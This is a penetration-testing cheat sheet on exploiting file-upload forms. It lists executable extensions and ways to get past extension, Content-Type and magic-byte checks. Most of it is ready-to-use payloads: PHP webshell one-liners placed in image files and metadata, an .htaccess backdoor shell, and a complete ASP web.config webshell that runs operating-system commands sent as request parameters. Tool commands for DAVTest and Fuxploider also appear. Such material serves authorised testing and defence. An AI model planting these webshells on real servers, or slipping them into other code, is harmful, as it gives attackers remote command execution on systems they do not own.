File Upload

- Top 10 list of things that you can achieve by uploading:

  • ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE

  • SVG: Stored XSS / SSRF / XXE

  • GIF: Stored XSS / SSRF

  • CSV: CSV injection

  • XML: XXE

  • AVI: LFI / SSRF

  • HTML / JS : HTML injection / XSS / Open redirect

  • PNG / JPEG: Pixel flood attack (DoS)

  • ZIP: RCE via LFI / DoS

  • PDF / PPTX: SSRF / BLIND XXE

- Extensions

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

- DAVTest

Detect if files can be uploaded and try to execute code through them.

davtest -url <URL>

- Upload Scanner Burp Addon

https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa

Bypass file extensions checks

- Uppercase Letters

pHp, .pHP5, .PhAr …

- Valid extension before

file.png.php

file.png.Php5

- Special Characters at the end

file.php%20

file.php%0a

file.php%00

file.php%0d%0a

file.php/

file.php.\

file.

file.php....

file.pHp5....

- Extension Parser Tricking (doubling the extension or adding junk data (null bytes))

file.png.php

file.png.pHp5

file.php#.png

file.php%00.png

file.php\x00.png

file.php%0a.png

file.php%0d%0a.png

file.phpJunk123png

- Add another layer of extensions

file.png.jpg.php

file.php%00.png%00.jpg

- Exec extension before the valid extension

file.php.png

- Filename Limits Breacking

First generate Linux maximum 255 bytes

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255

Then add the extension allowed and upload the file and check response how many characters it alllows.

Then create a file with 4 less, example, the response says that allows 236, then we generate 232 'A':

python -c 'print "A" * 232'

Then we make the payload:

AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type

Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream

Change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif

Content-Type : image/gif

Content-Type : image/png

Content-Type : image/jpeg

Content-Type wordlist: SecLists/content-type.txt (https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)

Set the Content-Type twice: once for unallowed type and once for allowed.

Magic Bytes

Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.

Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command).

Common useful magic bytes:

GIF --> GIF89a;\x0a

PDF --> %PDF-

JPG / JPEG --> \xFF\xD8\xFF\xDB

PNG --> \x89\x50\x4E\x47\x0D\x0A\x1A\x0A

TAR --> \x75\x73\x74\x61\x72\x00\x30\x30

XML --> <?xml

Or introduce the shell inside the metadata:

exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

You could also introduce the payload directly in an image:

echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

Special extension tricks

- PHP server (.htaccess):

Uploading an .htaccess file to override Apache rule and execute PHP.

# htaccess backdoor shell
# this is relatively stealthy compared to a typical webshell

# overriding deny rule
# making htaccess accessible from the internet
# without this you'll get a HTTP 403
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
</Files>

# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php .htaccess

# <?php system($_GET['cmd']); ?>

# To execute commands you would navigate to:
# http://vulnerable.com/.htaccess?cmd=YourCommand

# If system(); isnt working then try other syscalls
# e.g. passthru(); shell_exec(); etc
# If you still cant execute syscalls, try bypassing php.ini via htaccess

We can also use htshells tool (https://github.com/wireghoul/htshells).

- ASP server (web.config):

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>



<%Response.write("<!-"&"-") %>
-->

Automated Tools

- Fuxploider

https://github.com/almandin/fuxploider

Try uploading a not permitted file, and for example the message is "wronf file type", then take cookies thorugh Inspector > Storage.

python3 fuxploider.py --url https://example.com/upload --cokies "PHPSESSID:............." --not-regex "wrong file type"

- Burp > Upload Scanner

https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa

- ZAP > FileUpload AddOn

https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/

Last updated